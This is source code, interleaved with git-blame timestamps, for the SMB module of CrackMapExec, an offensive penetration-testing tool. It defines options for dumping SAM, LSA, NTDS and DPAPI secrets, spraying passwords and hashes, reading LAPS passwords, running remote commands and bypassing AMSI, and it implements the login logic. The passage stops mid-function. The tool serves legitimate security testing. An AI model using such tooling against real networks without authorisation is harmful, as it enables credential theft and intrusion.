2022-07-18 23:59:14 +00:00
#!/usr/bin/env python3
2017-03-27 21:09:36 +00:00
# -*- coding: utf-8 -*-
2016-12-15 07:28:00 +00:00
import ntpath
2023-03-17 14:52:30 +00:00
import hashlib
import binascii
2019-11-10 21:42:04 +00:00
from io import StringIO
2016-12-15 07:28:00 +00:00
from impacket . smbconnection import SMBConnection , SessionError
2017-04-10 08:58:33 +00:00
from impacket . smb import SMB_DIALECT
2016-12-15 07:28:00 +00:00
from impacket . examples . secretsdump import RemoteOperations , SAMHashes , LSASecrets , NTDSHashes
2021-09-18 20:33:36 +00:00
from impacket . nmb import NetBIOSError , NetBIOSTimeout
2022-10-24 09:26:53 +00:00
from impacket . dcerpc . v5 import transport , lsat , lsad , scmr
2016-12-15 07:28:00 +00:00
from impacket . dcerpc . v5 . rpcrt import DCERPCException
2022-10-24 09:26:53 +00:00
from impacket . dcerpc . v5 . transport import DCERPCTransportFactory , SMBTransport
2020-05-03 18:30:41 +00:00
from impacket . dcerpc . v5 . rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
2017-03-27 21:09:36 +00:00
from impacket . dcerpc . v5 . epm import MSRPC_UUID_PORTMAP
2017-04-05 15:07:00 +00:00
from impacket . dcerpc . v5 . dcom . wmi import WBEM_FLAG_FORWARD_ONLY
from impacket . dcerpc . v5 . samr import SID_NAME_USE
from impacket . dcerpc . v5 . dtypes import MAXIMUM_ALLOWED
2022-10-24 13:59:43 +00:00
from impacket . krb5 . kerberosv5 import SessionKeyDecryptionError
2022-11-09 21:56:57 +00:00
from impacket . krb5 . types import KerberosException
2016-12-15 07:28:00 +00:00
from cme . connection import *
2017-03-27 21:09:36 +00:00
from cme . logger import CMEAdapter
2023-02-13 10:48:12 +00:00
from cme . protocols . smb . firefox import FirefoxTriage
2017-03-27 21:09:36 +00:00
from cme . servers . smb import CMESMBServer
2016-12-15 07:28:00 +00:00
from cme . protocols . smb . wmiexec import WMIEXEC
from cme . protocols . smb . atexec import TSCH_EXEC
from cme . protocols . smb . smbexec import SMBEXEC
2017-03-27 21:09:36 +00:00
from cme . protocols . smb . mmcexec import MMCEXEC
2016-12-15 07:28:00 +00:00
from cme . protocols . smb . smbspider import SMBSpider
2017-04-10 07:24:23 +00:00
from cme . protocols . smb . passpol import PassPolDump
2021-06-24 18:37:54 +00:00
from cme . protocols . smb . samruser import UserSamrDump
2023-03-12 16:41:02 +00:00
from cme . protocols . smb . samrfunc import SamrFunc
2021-10-17 15:50:29 +00:00
from cme . protocols . ldap . smbldap import LDAPConnect
2016-12-15 07:28:00 +00:00
from cme . helpers . logger import highlight
2017-03-30 00:03:04 +00:00
from cme . helpers . misc import *
2021-11-20 21:37:14 +00:00
from cme . helpers . bloodhound import add_user_bh
2016-12-15 07:28:00 +00:00
from cme . helpers . powershell import create_ps_command
2023-02-07 11:06:42 +00:00
from dploot . triage . vaults import VaultsTriage
from dploot . triage . browser import BrowserTriage
from dploot . triage . credentials import CredentialsTriage
from dploot . triage . masterkeys import MasterkeysTriage , parse_masterkey_file
from dploot . triage . backupkey import BackupkeyTriage
from dploot . lib . target import Target
from dploot . lib . smb import DPLootSMBConnection
2016-12-15 07:28:00 +00:00
from pywerview . cli . helpers import *
2017-04-05 15:07:00 +00:00
from pywerview . requester import RPCRequester
2023-03-17 14:52:30 +00:00
from time import time
2016-12-15 07:28:00 +00:00
from datetime import datetime
2017-03-27 21:09:36 +00:00
from functools import wraps
2018-02-23 13:55:05 +00:00
from traceback import format_exc
2017-03-27 21:09:36 +00:00
smb_share_name = gen_random_string ( 5 ) . upper ( )
smb_server = None
2020-06-20 17:20:27 +00:00
smb_error_status = [
" STATUS_ACCOUNT_DISABLED " ,
" STATUS_ACCOUNT_EXPIRED " ,
" STATUS_ACCOUNT_RESTRICTION " ,
" STATUS_INVALID_LOGON_HOURS " ,
" STATUS_INVALID_WORKSTATION " ,
" STATUS_LOGON_TYPE_NOT_GRANTED " ,
" STATUS_PASSWORD_EXPIRED " ,
2020-06-20 22:16:37 +00:00
" STATUS_PASSWORD_MUST_CHANGE " ,
2022-03-03 20:52:37 +00:00
" STATUS_ACCESS_DENIED " ,
2022-10-24 09:43:52 +00:00
" STATUS_NO_SUCH_FILE " ,
2022-10-24 13:01:30 +00:00
" KDC_ERR_CLIENT_REVOKED " ,
" KDC_ERR_PREAUTH_FAILED "
2020-06-20 17:20:27 +00:00
]
2023-03-04 13:44:28 +00:00
2022-06-17 20:11:28 +00:00
def get_error_string ( exception ) :
if hasattr ( exception , ' getErrorString ' ) :
2023-03-24 16:44:21 +00:00
try :
es = exception . getErrorString ( )
except KeyError :
return f " Could not get nt error code { exception . getErrorCode ( ) } from impacket: { exception } "
2022-06-17 20:11:28 +00:00
if type ( es ) is tuple :
return es [ 0 ]
else :
return es
else :
return str ( exception )
2023-03-14 05:24:42 +00:00
2022-06-17 20:11:28 +00:00
2017-03-27 21:09:36 +00:00
def requires_smb_server ( func ) :
def _decorator ( self , * args , * * kwargs ) :
global smb_server
global smb_share_name
get_output = False
payload = None
methods = [ ]
try :
payload = args [ 0 ]
except IndexError :
pass
try :
get_output = args [ 1 ]
except IndexError :
pass
try :
methods = args [ 2 ]
except IndexError :
pass
2019-11-10 23:12:35 +00:00
if ' payload ' in kwargs :
2017-03-27 21:09:36 +00:00
payload = kwargs [ ' payload ' ]
2019-11-10 23:12:35 +00:00
if ' get_output ' in kwargs :
2017-03-27 21:09:36 +00:00
get_output = kwargs [ ' get_output ' ]
2019-11-10 23:12:35 +00:00
if ' methods ' in kwargs :
2017-03-27 21:09:36 +00:00
methods = kwargs [ ' methods ' ]
if not payload and self . args . execute :
if not self . args . no_output : get_output = True
if get_output or ( methods and ( ' smbexec ' in methods ) ) :
if not smb_server :
logging . debug ( ' Starting SMB server ' )
2023-03-14 05:24:42 +00:00
smb_server = CMESMBServer (
self . logger ,
smb_share_name ,
listen_port = self . args . smb_server_port ,
verbose = self . args . verbose
)
2017-03-27 21:09:36 +00:00
smb_server . start ( )
output = func ( self , * args , * * kwargs )
if smb_server is not None :
smb_server . shutdown ( )
smb_server = None
return output
2023-03-14 05:24:42 +00:00
2017-03-27 21:09:36 +00:00
return wraps ( func ) ( _decorator )
2016-12-15 07:28:00 +00:00
2023-03-04 14:11:31 +00:00
class smb ( connection ) :
2016-12-15 07:28:00 +00:00
def __init__ ( self , args , db , host ) :
self . domain = None
self . server_os = None
2017-03-27 21:09:36 +00:00
self . os_arch = 0
2016-12-15 07:28:00 +00:00
self . hash = None
self . lmhash = ' '
self . nthash = ' '
self . remote_ops = None
self . bootkey = None
self . output_filename = None
2017-05-15 04:44:49 +00:00
self . smbv1 = None
2017-04-05 15:07:00 +00:00
self . signing = False
2017-03-27 21:09:36 +00:00
self . smb_share_name = smb_share_name
2023-02-16 13:09:21 +00:00
self . pvkbytes = None
2023-02-16 13:33:26 +00:00
self . no_da = None
2016-12-15 07:28:00 +00:00
connection . __init__ ( self , args , db , host )
@staticmethod
def proto_args ( parser , std_parser , module_parser ) :
2017-10-25 02:08:19 +00:00
smb_parser = parser . add_parser ( ' smb ' , help = " own stuff using SMB " , parents = [ std_parser , module_parser ] )
2023-03-14 05:24:42 +00:00
smb_parser . add_argument ( " -H " , ' --hash ' , metavar = " HASH " , dest = ' hash ' , nargs = ' + ' , default = [ ] ,
help = ' NTLM hash(es) or file(s) containing NTLM hashes ' )
smb_parser . add_argument ( " --no-bruteforce " , action = ' store_true ' ,
help = ' No spray when using file for username and password (user1 => password1, user2 => password2 ' )
2016-12-15 07:28:00 +00:00
dgroup = smb_parser . add_mutually_exclusive_group ( )
2017-04-05 15:07:00 +00:00
dgroup . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , type = str , help = " domain to authenticate to " )
dgroup . add_argument ( " --local-auth " , action = ' store_true ' , help = ' authenticate locally to each target ' )
2017-10-25 02:08:19 +00:00
smb_parser . add_argument ( " --port " , type = int , choices = { 445 , 139 } , default = 445 , help = " SMB port (default: 445) " )
2017-04-05 15:07:00 +00:00
smb_parser . add_argument ( " --share " , metavar = " SHARE " , default = " C$ " , help = " specify a share (default: C$) " )
2020-07-30 13:14:31 +00:00
smb_parser . add_argument ( " --smb-server-port " , default = " 445 " , help = " specify a server port for SMB " , type = int )
2023-03-14 05:24:42 +00:00
smb_parser . add_argument ( " --gen-relay-list " , metavar = ' OUTPUT_FILE ' ,
help = " outputs all hosts that don ' t require SMB signing to the specified file " )
smb_parser . add_argument ( " --continue-on-success " , action = ' store_true ' ,
help = " continues authentication attempts even after successes " )
2022-02-10 21:36:07 +00:00
smb_parser . add_argument ( " --smb-timeout " , help = " SMB connection timeout, default 2 secondes " , type = int , default = 2 )
2023-03-14 05:24:42 +00:00
smb_parser . add_argument ( " --laps " , dest = ' laps ' , metavar = " LAPS " , type = str , help = " LAPS authentification " ,
nargs = ' ? ' , const = ' administrator ' )
2016-12-15 07:28:00 +00:00
cgroup = smb_parser . add_argument_group ( " Credential Gathering " , " Options for gathering credentials " )
2017-03-27 21:09:36 +00:00
cegroup = cgroup . add_mutually_exclusive_group ( )
cegroup . add_argument ( " --sam " , action = ' store_true ' , help = ' dump SAM hashes from target systems ' )
cegroup . add_argument ( " --lsa " , action = ' store_true ' , help = ' dump LSA secrets from target systems ' )
2023-03-14 05:24:42 +00:00
cegroup . add_argument ( " --ntds " , choices = { ' vss ' , ' drsuapi ' } , nargs = ' ? ' , const = ' drsuapi ' ,
help = " dump the NTDS.dit from target DCs using the specifed method \n (default: drsuapi) " )
cegroup . add_argument ( " --dpapi " , choices = { ' password ' , ' cookies ' } , nargs = ' ? ' , const = ' password ' ,
help = ' dump DPAPI secrets from target systems, can dump cookies if you add " cookies " \n (default: password) ' )
# cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
# cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
2016-12-15 07:28:00 +00:00
2022-07-08 08:47:27 +00:00
ngroup = smb_parser . add_argument_group ( " Credential Gathering " , " Options for gathering credentials " )
2023-03-14 05:24:42 +00:00
ngroup . add_argument ( " --mkfile " , action = ' store ' ,
help = ' DPAPI option. File with masterkeys in form of {GUID} :SHA1 ' )
2023-02-07 11:06:42 +00:00
ngroup . add_argument ( " --pvk " , action = ' store ' , help = ' DPAPI option. File with domain backupkey ' )
2022-07-08 08:47:27 +00:00
ngroup . add_argument ( " --enabled " , action = ' store_true ' , help = ' Only dump enabled targets from DC ' )
ngroup . add_argument ( " --user " , dest = ' userntds ' , type = str , help = ' Dump selected user from DC ' )
2016-12-15 07:28:00 +00:00
egroup = smb_parser . add_argument_group ( " Mapping/Enumeration " , " Options for Mapping/Enumerating " )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --shares " , action = " store_true " , help = " enumerate shares and access " )
2023-03-14 05:24:42 +00:00
egroup . add_argument ( " --filter-shares " , nargs = ' + ' ,
help = " Filter share by access, option ' read ' ' write ' or ' read,write ' " )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --sessions " , action = ' store_true ' , help = ' enumerate active sessions ' )
egroup . add_argument ( ' --disks ' , action = ' store_true ' , help = ' enumerate disks ' )
2023-03-14 05:24:42 +00:00
egroup . add_argument ( " --loggedon-users-filter " , action = ' store ' ,
help = ' only search for specific user, works with regex ' )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --loggedon-users " , action = ' store_true ' , help = ' enumerate logged on users ' )
2023-03-14 05:24:42 +00:00
egroup . add_argument ( ' --users ' , nargs = ' ? ' , const = ' ' , metavar = ' USER ' ,
help = ' enumerate domain users, if a user is specified than only its information is queried. ' )
egroup . add_argument ( " --groups " , nargs = ' ? ' , const = ' ' , metavar = ' GROUP ' ,
help = ' enumerate domain groups, if a group is specified than its members are enumerated ' )
2021-06-24 18:37:54 +00:00
egroup . add_argument ( ' --computers ' , nargs = ' ? ' , const = ' ' , metavar = ' COMPUTER ' , help = ' enumerate computer users ' )
2023-03-14 05:24:42 +00:00
egroup . add_argument ( " --local-groups " , nargs = ' ? ' , const = ' ' , metavar = ' GROUP ' ,
help = ' enumerate local groups, if a group is specified then its members are enumerated ' )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --pass-pol " , action = ' store_true ' , help = ' dump password policy ' )
2023-03-14 05:24:42 +00:00
egroup . add_argument ( " --rid-brute " , nargs = ' ? ' , type = int , const = 4000 , metavar = ' MAX_RID ' ,
help = ' enumerate users by bruteforcing RID \' s (default: 4000) ' )
2017-03-27 21:09:36 +00:00
egroup . add_argument ( " --wmi " , metavar = ' QUERY ' , type = str , help = ' issues the specified WMI query ' )
2023-03-14 05:24:42 +00:00
egroup . add_argument ( " --wmi-namespace " , metavar = ' NAMESPACE ' , default = ' root \\ cimv2 ' ,
help = ' WMI Namespace (default: root \\ cimv2) ' )
2016-12-15 07:28:00 +00:00
sgroup = smb_parser . add_argument_group ( " Spidering " , " Options for spidering shares " )
2017-04-05 15:07:00 +00:00
sgroup . add_argument ( " --spider " , metavar = ' SHARE ' , type = str , help = ' share to spider ' )
2023-03-14 05:24:42 +00:00
sgroup . add_argument ( " --spider-folder " , metavar = ' FOLDER ' , default = ' . ' , type = str ,
help = ' folder to spider (default: root share directory) ' )
2017-03-27 21:09:36 +00:00
sgroup . add_argument ( " --content " , action = ' store_true ' , help = ' enable file content searching ' )
2023-03-14 05:24:42 +00:00
sgroup . add_argument ( " --exclude-dirs " , type = str , metavar = ' DIR_LIST ' , default = ' ' ,
help = ' directories to exclude from spidering ' )
2016-12-15 07:28:00 +00:00
segroup = sgroup . add_mutually_exclusive_group ( )
2023-03-14 05:24:42 +00:00
segroup . add_argument ( " --pattern " , nargs = ' + ' ,
help = ' pattern(s) to search for in folders, filenames and file content ' )
2017-04-05 15:07:00 +00:00
segroup . add_argument ( " --regex " , nargs = ' + ' , help = ' regex(s) to search for in folders, filenames and file content ' )
2023-03-14 05:24:42 +00:00
sgroup . add_argument ( " --depth " , type = int , default = None ,
help = ' max spider recursion depth (default: infinity & beyond) ' )
2017-04-05 15:07:00 +00:00
sgroup . add_argument ( " --only-files " , action = ' store_true ' , help = ' only spider files ' )
2016-12-15 07:28:00 +00:00
2020-04-28 16:22:30 +00:00
tgroup = smb_parser . add_argument_group ( " Files " , " Options for put and get remote files " )
2023-03-21 16:53:54 +00:00
tgroup . add_argument ( " --put-file " , nargs = 2 , metavar = " FILE " , help = ' Put a local file into remote target, ex: whoami.txt \\ \\ Windows \\ \\ Temp \\ \\ whoami.txt ' )
tgroup . add_argument ( " --get-file " , nargs = 2 , metavar = " FILE " , help = ' Get a remote file, ex: \\ \\ Windows \\ \\ Temp \\ \\ whoami.txt whoami.txt ' )
tgroup . add_argument ( " --append-host " , action = ' store_true ' , help = ' append the host to the get-file filename ' )
2020-04-28 16:22:30 +00:00
2016-12-15 07:28:00 +00:00
cgroup = smb_parser . add_argument_group ( " Command Execution " , " Options for executing commands " )
2023-03-14 05:24:42 +00:00
cgroup . add_argument ( ' --exec-method ' , choices = { " wmiexec " , " mmcexec " , " smbexec " , " atexec " } , default = None ,
help = " method to execute the command. Ignored if in MSSQL mode (default: wmiexec) " )
cgroup . add_argument ( ' --codec ' , default = ' utf-8 ' ,
help = ' Set encoding used (codec) from the target \' s output (default '
' " utf-8 " ). If errors are detected, run chcp.com at the target, '
' map the result with '
' https://docs.python.org/3/library/codecs.html#standard-encodings and then execute '
' again with --codec and the corresponding codec ' )
cgroup . add_argument ( ' --force-ps32 ' , action = ' store_true ' ,
help = ' force the PowerShell command to run in a 32-bit process ' )
2017-04-05 15:07:00 +00:00
cgroup . add_argument ( ' --no-output ' , action = ' store_true ' , help = ' do not retrieve command output ' )
2016-12-15 07:28:00 +00:00
cegroup = cgroup . add_mutually_exclusive_group ( )
2017-04-05 15:07:00 +00:00
cegroup . add_argument ( " -x " , metavar = " COMMAND " , dest = ' execute ' , help = " execute the specified command " )
2023-03-14 05:24:42 +00:00
cegroup . add_argument ( " -X " , metavar = " PS_COMMAND " , dest = ' ps_execute ' ,
help = ' execute the specified PowerShell command ' )
2016-12-15 07:28:00 +00:00
2017-06-26 09:49:04 +00:00
psgroup = smb_parser . add_argument_group ( ' Powershell Obfuscation ' , " Options for PowerShell script obfuscation " )
psgroup . add_argument ( ' --obfs ' , action = ' store_true ' , help = ' Obfuscate PowerShell scripts ' )
2021-02-28 14:48:50 +00:00
psgroup . add_argument ( ' --amsi-bypass ' , nargs = 1 , metavar = " FILE " , help = ' File with a custom AMSI bypass ' )
2023-03-14 05:24:42 +00:00
psgroup . add_argument ( ' --clear-obfscripts ' , action = ' store_true ' ,
help = ' Clear all cached obfuscated PowerShell scripts ' )
2017-06-26 09:49:04 +00:00
2016-12-15 07:28:00 +00:00
return parser
def proto_logger ( self ) :
2023-03-04 14:11:31 +00:00
self . logger = CMEAdapter (
extra = {
' protocol ' : ' SMB ' ,
' host ' : self . host ,
' port ' : self . args . port ,
' hostname ' : self . hostname
}
)
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
def get_os_arch ( self ) :
try :
2023-03-04 14:11:31 +00:00
string_binding = r ' ncacn_ip_tcp: {} [135] ' . format ( self . host )
transport = DCERPCTransportFactory ( string_binding )
2017-03-27 21:09:36 +00:00
transport . set_connect_timeout ( 5 )
dce = transport . get_dce_rpc ( )
2022-11-03 20:04:46 +00:00
if self . kerberos :
2020-05-03 18:30:41 +00:00
dce . set_auth_type ( RPC_C_AUTHN_GSS_NEGOTIATE )
2017-03-27 21:09:36 +00:00
dce . connect ( )
try :
dce . bind ( MSRPC_UUID_PORTMAP , transfer_syntax = ( ' 71710533-BEBA-4937-8319-B5DBEF9CCC36 ' , ' 1.0 ' ) )
2023-03-04 14:11:31 +00:00
except DCERPCException as e :
2017-03-27 21:09:36 +00:00
if str ( e ) . find ( ' syntaxes_not_supported ' ) > = 0 :
2017-03-30 00:03:04 +00:00
dce . disconnect ( )
2017-03-27 21:09:36 +00:00
return 32
else :
2017-03-30 00:03:04 +00:00
dce . disconnect ( )
2017-03-27 21:09:36 +00:00
return 64
2017-03-30 00:03:04 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( ' Error retrieving os arch of {} : {} ' . format ( self . host , str ( e ) ) )
return 0
2016-12-15 07:28:00 +00:00
def enum_host_info ( self ) :
self . local_ip = self . conn . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
2022-11-03 19:29:56 +00:00
no_ntlm = False
2016-12-15 07:28:00 +00:00
try :
2023-03-04 14:11:31 +00:00
self . conn . login ( ' ' , ' ' )
2023-03-10 06:12:59 +00:00
except BrokenPipeError as e :
self . logger . error ( f " Broken Pipe Error while attempting to login " )
2022-10-22 20:38:29 +00:00
except Exception as e :
if " STATUS_NOT_SUPPORTED " in str ( e ) :
# no ntlm supported
2022-11-03 19:29:56 +00:00
no_ntlm = True
2019-11-10 23:12:35 +00:00
pass
2016-12-15 07:28:00 +00:00
2023-03-04 14:11:31 +00:00
self . domain = self . conn . getServerDNSDomainName ( ) if not no_ntlm else self . args . domain
self . hostname = self . conn . getServerName ( ) if not no_ntlm else self . host
2022-11-03 19:29:56 +00:00
self . server_os = self . conn . getServerOS ( )
2022-06-17 20:11:28 +00:00
try :
2023-03-14 05:24:42 +00:00
self . signing = self . conn . isSigningRequired ( ) \
if self . smbv1 else self . conn . _SMBConnection . _Connection [ ' RequireSigning ' ]
2023-03-04 14:11:31 +00:00
except Exception as e :
logging . debug ( e )
2022-06-17 20:11:28 +00:00
pass
2023-03-04 14:11:31 +00:00
self . os_arch = self . get_os_arch ( )
2023-03-10 03:48:33 +00:00
self . output_filename = os . path . expanduser (
' ~/.cme/logs/ {} _ {} _ {} ' . format (
self . hostname ,
self . host ,
datetime . now ( ) . strftime ( " % Y- % m- %d _ % H % M % S " )
)
)
2022-02-01 13:38:12 +00:00
self . output_filename = self . output_filename . replace ( " : " , " - " )
2016-12-15 07:28:00 +00:00
if not self . domain :
self . domain = self . hostname
2023-03-12 02:25:23 +00:00
self . db . add_host ( self . host , self . hostname , self . domain , self . server_os , self . smbv1 , self . signing )
2016-12-15 07:28:00 +00:00
try :
'''
2023-03-04 14:11:31 +00:00
DC ' s seem to want us to logoff first, windows workstations sometimes reset the connection
( go home Windows , you ' re drunk)
2016-12-15 07:28:00 +00:00
'''
self . conn . logoff ( )
2023-03-04 14:11:31 +00:00
except Exception as e :
2023-03-06 02:12:13 +00:00
logging . debug ( f " Error logging off system: { e } " )
2016-12-15 07:28:00 +00:00
pass
if self . args . domain :
self . domain = self . args . domain
2020-05-09 12:20:53 +00:00
if self . args . local_auth :
self . domain = self . hostname
2016-12-15 07:28:00 +00:00
2021-10-17 15:50:29 +00:00
def laps_search ( self , username , password , ntlm_hash , domain ) :
2022-11-10 21:07:37 +00:00
self . logger . extra [ ' protocol ' ] = " LDAP "
self . logger . extra [ ' port ' ] = " 389 "
2021-10-17 15:50:29 +00:00
ldapco = LDAPConnect ( self . domain , " 389 " , self . domain )
2023-03-10 03:48:33 +00:00
2022-11-10 21:07:37 +00:00
if self . kerberos :
2023-03-04 14:11:31 +00:00
if self . kdcHost is None :
2022-11-10 21:07:37 +00:00
self . logger . error ( ' Provide --kdcHost parameter ' )
return False
2023-03-14 05:24:42 +00:00
connection = ldapco . kerberos_login (
domain ,
username [ 0 ] if username else ' ' ,
password [ 0 ] if password else ' ' ,
ntlm_hash [ 0 ] if ntlm_hash else ' ' ,
self . kdcHost ,
self . aesKey
)
2022-11-10 21:07:37 +00:00
else :
2023-03-14 05:24:42 +00:00
connection = ldapco . plaintext_login (
domain ,
username [ 0 ] if username else ' ' ,
password [ 0 ] if password else ' ' ,
ntlm_hash [ 0 ] if ntlm_hash else ' '
)
2023-03-04 14:11:31 +00:00
if not connection :
2021-11-17 12:37:14 +00:00
logging . debug ( ' LAPS connection failed with account {} ' . format ( username ) )
return False
2023-03-10 03:48:33 +00:00
2023-03-12 02:25:23 +00:00
search_filter = ' (&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name= ' + self . hostname + ' )) '
attributes = [ ' ms-MCS-AdmPwd ' , ' samAccountname ' ]
2023-03-04 14:11:31 +00:00
result = connection . search (
2023-03-12 02:25:23 +00:00
searchFilter = search_filter ,
2023-03-04 14:11:31 +00:00
attributes = attributes ,
sizeLimit = 0
)
2021-10-16 22:08:07 +00:00
2021-11-17 12:37:14 +00:00
msMCSAdmPwd = ' '
sAMAccountName = ' '
2021-10-16 22:08:07 +00:00
for item in result :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
2023-03-12 02:25:23 +00:00
for host in item [ ' attributes ' ] :
if str ( host [ ' type ' ] ) == " sAMAccountName " :
sAMAccountName = str ( host [ ' vals ' ] [ 0 ] )
2021-10-16 22:08:07 +00:00
else :
2023-03-12 02:25:23 +00:00
msMCSAdmPwd = str ( host [ ' vals ' ] [ 0 ] )
logging . debug ( " Host: {:<20} Password: {} {} " . format ( sAMAccountName , msMCSAdmPwd , self . hostname ) )
2023-03-10 03:48:33 +00:00
2021-10-17 18:41:20 +00:00
self . username = self . args . laps
2021-10-17 15:50:29 +00:00
self . password = msMCSAdmPwd
2023-03-10 03:48:33 +00:00
2021-11-17 12:37:14 +00:00
if msMCSAdmPwd == ' ' :
2022-11-10 21:07:37 +00:00
self . logger . error ( ' msMCSAdmPwd is empty or account cannot read LAPS property for {} ' . format ( self . hostname ) )
2021-11-17 12:37:14 +00:00
return False
2021-10-17 15:50:29 +00:00
if ntlm_hash :
hash_ntlm = hashlib . new ( ' md4 ' , msMCSAdmPwd . encode ( ' utf-16le ' ) ) . digest ( )
2022-02-10 21:36:07 +00:00
self . hash = binascii . hexlify ( hash_ntlm ) . decode ( )
2023-03-10 03:48:33 +00:00
2021-10-17 15:50:29 +00:00
self . domain = self . hostname
2022-11-10 21:07:37 +00:00
self . logger . extra [ ' protocol ' ] = " SMB "
self . logger . extra [ ' port ' ] = " 445 "
2021-11-17 12:37:14 +00:00
return True
2021-10-16 22:08:07 +00:00
2016-12-15 07:28:00 +00:00
def print_host_info ( self ) :
2023-03-10 03:48:33 +00:00
self . logger . info (
u " {} {} (name: {} ) (domain: {} ) (signing: {} ) (SMBv1: {} ) " . format (
self . server_os ,
' x {} ' . format ( self . os_arch ) if self . os_arch else ' ' ,
self . hostname ,
self . domain ,
self . signing ,
self . smbv1
)
2023-03-04 14:11:31 +00:00
)
2021-10-17 15:50:29 +00:00
if self . args . laps :
2021-11-17 12:37:14 +00:00
return self . laps_search ( self . args . username , self . args . password , self . args . hash , self . domain )
return True
2021-10-17 15:50:29 +00:00
2023-03-04 14:11:31 +00:00
def kerberos_login ( self , domain , username , password = ' ' , ntlm_hash = ' ' , aesKey = ' ' , kdcHost = ' ' , useCache = False ) :
2022-10-22 21:29:56 +00:00
logging . getLogger ( " impacket " ) . disabled = True
2023-03-04 14:11:31 +00:00
# Re-connect since we logged off
2022-11-10 21:06:35 +00:00
fqdn_host = self . hostname + " . " + self . domain
self . create_conn_obj ( fqdn_host )
2023-03-10 04:04:59 +00:00
lmhash = ' '
nthash = ' '
2022-10-31 12:33:41 +00:00
2020-05-05 16:11:18 +00:00
try :
2022-10-22 21:29:56 +00:00
if not self . args . laps :
self . password = password
2022-11-16 20:15:30 +00:00
self . username = username
2023-03-04 14:11:31 +00:00
# This checks to see if we didn't provide the LM Hash
2022-10-20 16:08:30 +00:00
if ntlm_hash . find ( ' : ' ) != - 1 :
2023-03-10 04:04:59 +00:00
lmhash , nthash = ntlm_hash . split ( ' : ' )
self . hash = nthash
2022-10-20 16:08:30 +00:00
else :
2023-03-10 04:04:59 +00:00
nthash = ntlm_hash
2022-10-20 16:08:30 +00:00
self . hash = ntlm_hash
2023-03-10 04:04:59 +00:00
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
2022-11-29 22:05:15 +00:00
if not all ( ' ' == s for s in [ self . nthash , password , aesKey ] ) :
kerb_pass = next ( s for s in [ self . nthash , password , aesKey ] if s )
else :
kerb_pass = ' '
2023-03-10 04:04:59 +00:00
self . conn . kerberosLogin ( username , password , domain , lmhash , nthash , aesKey , kdcHost , useCache = useCache )
2022-10-24 09:26:53 +00:00
self . check_if_admin ( )
2023-03-14 05:24:42 +00:00
2022-11-16 20:15:30 +00:00
if username == ' ' :
self . username = self . conn . getCredentials ( ) [ 0 ]
else :
self . username = username
2022-10-20 16:08:30 +00:00
2023-03-04 14:11:31 +00:00
out = u ' {} \\ {} {} {} ' . format (
self . domain ,
self . username ,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' )
)
2020-05-04 17:22:10 +00:00
self . logger . success ( out )
2022-10-20 19:40:53 +00:00
if not self . args . local_auth :
2022-10-24 12:55:07 +00:00
add_user_bh ( self . username , domain , self . logger , self . config )
2022-10-20 19:40:53 +00:00
if not self . args . continue_on_success :
return True
2023-03-04 14:11:31 +00:00
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
elif self . signing :
2022-10-24 09:26:53 +00:00
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2022-10-24 14:02:01 +00:00
except SessionKeyDecryptionError :
# for PRE-AUTH account
2023-03-04 14:11:31 +00:00
self . logger . error ( u ' {} \\ {} {} {} ' . format (
domain ,
self . username ,
" account vulnerable to asreproast attack " ,
" " ) ,
color = ' yellow '
)
2022-10-24 14:02:01 +00:00
return False
2022-11-09 21:56:57 +00:00
except ( FileNotFoundError , KerberosException ) as e :
2022-10-24 12:30:31 +00:00
self . logger . error ( ' CCache Error: {} ' . format ( e ) )
return False
2022-11-10 09:17:01 +00:00
except OSError as e :
2023-03-04 14:11:31 +00:00
self . logger . error ( u ' {} \\ {} {} {} {} ' . format (
domain ,
self . username ,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
str ( e ) ,
' ' ,
color = ' red ' )
)
2022-10-24 09:26:53 +00:00
except ( SessionError , Exception ) as e :
2022-10-24 09:43:52 +00:00
error , desc = e . getErrorString ( )
2023-03-04 14:11:31 +00:00
self . logger . error ( u ' {} \\ {} {} {} {} ' . format (
domain ,
self . username ,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
error ,
' ( {} ) ' . format ( desc ) if self . args . verbose else ' '
) ,
color = ' magenta ' if error in smb_error_status else ' red '
)
2022-10-24 09:43:52 +00:00
if error not in smb_error_status :
self . inc_failed_login ( username )
return False
2023-03-14 05:24:42 +00:00
return False
2020-05-09 13:36:31 +00:00
2016-12-15 07:28:00 +00:00
def plaintext_login ( self , domain , username , password ) :
2023-03-04 14:11:31 +00:00
# Re-connect since we logged off
2021-09-21 14:36:52 +00:00
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
try :
2021-10-16 22:08:07 +00:00
if not self . args . laps :
self . password = password
self . username = username
2016-12-15 07:28:00 +00:00
self . domain = domain
2023-03-10 06:12:59 +00:00
try :
self . conn . login ( self . username , self . password , domain )
except BrokenPipeError as e :
self . logger . error ( f " Broken Pipe Error while attempting to login " )
2020-06-20 22:16:37 +00:00
2016-12-15 07:28:00 +00:00
